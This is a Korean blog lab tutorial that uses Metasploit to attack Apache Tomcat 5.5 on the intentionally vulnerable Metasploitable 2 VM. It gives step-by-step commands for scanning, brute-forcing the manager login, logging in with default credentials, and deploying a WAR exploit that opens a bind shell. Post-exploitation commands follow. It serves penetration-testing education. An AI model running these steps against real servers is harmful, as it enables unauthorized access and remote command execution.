본문 바로가기

Learning/└◆Metasploit

metasploit 08. Tomcat 취약점


[실습] 메타스플로잇을 사용하여 서비스 취약점 점검(톰캣(Tomcat) 취약점 공격)


사용시스템

- KaliLinux

- Metasploitable V2 Linux

 

메타스플로잇을 사용하여 톰캣의 취약점을 공격해 보자.

Tomcat V5 관리자 페이지에서 기본으로 사용되는 몇가지 취약한 계정의 정보를 대입해 알아보는 tomcat_mgr_login 스캔 도구를 사용한다.

 

(KaliLinux)

 

타겟 시스템의 포트/서비스/버전을 확인

# nmap -sV -p 1-65535 192.168.10.134  metasploitable V2 Linux ip : 192.168.10.134 

포트 지정시 시간이 오래걸린다. nmap -sV 192.168.10.134 

....

....

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

....

....

아파치 톰캣 설치 되어 있는것을 확인


기본 홈페이지(tomcat)에 접근

# firefox http://192.168.10.134:8180/ &

-> Apache Tomcat/5.5 버전이 설치 되어 있다.(기본 페이지의 왼쪽 상단 부분에 대한 정보 확인)

가장 버그가 많았던 버전.

-> 만약 기본 설정만 되어 있다면 관리자 페이지에 접근이 가능하다.

사이트 관리가 안되고 있다.(디폴트 페이지가 보임)

 

# firefox http://192.168.10.134:8180/manager/html &

-> 관리자 페이지의 아이디/패스워드 물어 보는 화면이 나올것이다.

-> 확인만 하고 접속을 해제 한다.


Tomcat 홈페이지의 관리자 페이지를 가지고 Dictionary Attack 수행

관리자 페이지 아이디/패스워드 크랙 수행(Dictionary Attack)

# msfconsole

[참고] 에러 발생 시

# msfconsole

[-] Failed to connect to the database: could not connect to server: Connection refused

Is the server running on host "localhost" (::1) and accepting

TCP/IP connections on port 5432?

could not connect to server: Connection refused

Is the server running on host "localhost" (127.0.0.1) and accepting

TCP/IP connections on port 5432?

msf > quit

# service postgresql start

# msfconsole 


msf > search tomcat

................ 

info auxiliary/scanner/http/tomcat_mgr_login -> 프로그램의 설명 참조

msf > use auxiliary/scanner/http/tomcat_mgr_login

msf auxiliary(tomcat_mgr_login) > show options


기본 USERNAME / USERPASS_FILE 이 지정 되어 있다.


msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.10.134

msf auxiliary(tomcat_mgr_login) > set rport 8180

msf auxiliary(tomcat_mgr_login) > run


와이어샤크 확인 (filter : http)

# wireshark & (eth0 )

3-way 핸드 쉐이크 TCP 패킷 확인

syn

syn ack

ack


관리자 페이지로 접속

# firefox http://192.168.10.134:8180/manager/html

-> 아이디 : tomcat

-> 패스워드 : tomcat

 

-> 접속후 하단에 war 파일을 업로드 할 수 있는 기능을 확인

--------------------------------------------------------------------------------

......

---------------------------------------------------------

WAR file to deploy

---------------------------------------------------------

 

Select WAR file to upload [Browser] No file selected.

[Deploy]

--------------------------------------------------------------------------------


-> Tomcat를 기본 설치를 하면 '파일 업로드 취약점'이 생긴다.

-> 이 취약점을 통해 악성코드가 포함된 war 파일을 이용해 시스템에 침투할 수 있다.


메타스플로잇의 자동 악성 코드 업로드 공격 사용

# msfconsole -q

msf > search tomcat

msf auxiliary(tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy

sf exploit(tomcat_mgr_deploy) > show options 

msf exploit(tomcat_mgr_deploy) > set password tomcat

msf exploit(tomcat_mgr_deploy) > set rhost 192.168.10.134

msf exploit(tomcat_mgr_deploy) > set rport 8180

msf exploit(tomcat_mgr_deploy) > set username tomcat

msf exploit(tomcat_mgr_deploy) > show payloads


*************************************************************************************************************

업로드 후 url 확인 및 재요청 

[참고] bind_tcp, reverse_tcp

bind_tcp    tcp커넥션을 이루는 동작 

reverse_tcp


bind_tcp <- 피해자가 공인 IP를 가지고 있을 때 악성 프로그램이 데몬처럼 기동이 된다.

victim(웹)

타겟이 공인 IP를 가지고 있다. (서버 형태)

attacker

사설,공인 IP 상관없음 


reverce_tcp <- 공격자 pc에 미리 데몬을 기동시켜 놓는다. 피해자 pc에 공격자의 IP와 포트번호를 미리 입력

victim(PC)

타겟이 사설IP를 가지고 있다. (개인pc) 

attacker 

사설IP에는 데몬처럼 붙을 수 없다. 

데몬을 리슨상태로 기동시켜놓는다. 

*************************************************************************************************************

payloads 쉘사용

쉘 방식 / meterpreter 방식

상대 운영체제에 맞는 방식 사용 

meterpreter에서 제공되고 있는 명령어를 수행


192.168.10.134가 서버라고 가정하고 bind_tcp 방식으로 수행(웹 서버)


msf exploit(tomcat_mgr_deploy) > set payload java/shell/bind_tcp

msf exploit(tomcat_mgr_deploy) > show options

msf exploit(tomcat_mgr_deploy) > exploit

-> 따라서, 오픈소스 WAS로 운영중인 시스템은 정기적으로 공개되는 취약점에 대한 관심을 가져야 한다.

-> 여러가지 CMD를 수행해 본다.


웹 사용자는 루트 사용자 권한까지 사용할 수 없다.


웹 사이트 제어

# find / -user tomcat55 2>/dev/null | egrep -v /proc

웹 소스코드와 설정할 수 있다.

echo '#include<stdio.h>; main() { printf("hello"); }' > test.c

리눅스 버전에 따라 include가 내장되어 있다.

which gcc

/usr/bin/gcc

cd /tmp

echo '#include<stdio.h>' > test.c                 

echo 'main() { printf("hello\n"); } ' >> test.c     

gcc -o test test.c

./test

hello

파일 생성 방법 

cat << EOF >> test.c

main () {

printf("hello")

}

EOF


(정리) 모의 해킹 테스트 절차에 대해서

타겟 시스템을 선정한다.

정보를 모은다.

취약점이 있는지 확인한다.

공격의 여지가 있는지 봐서 필요하다면 공격한다.

공격 성공이 되었다면 문서화 한다.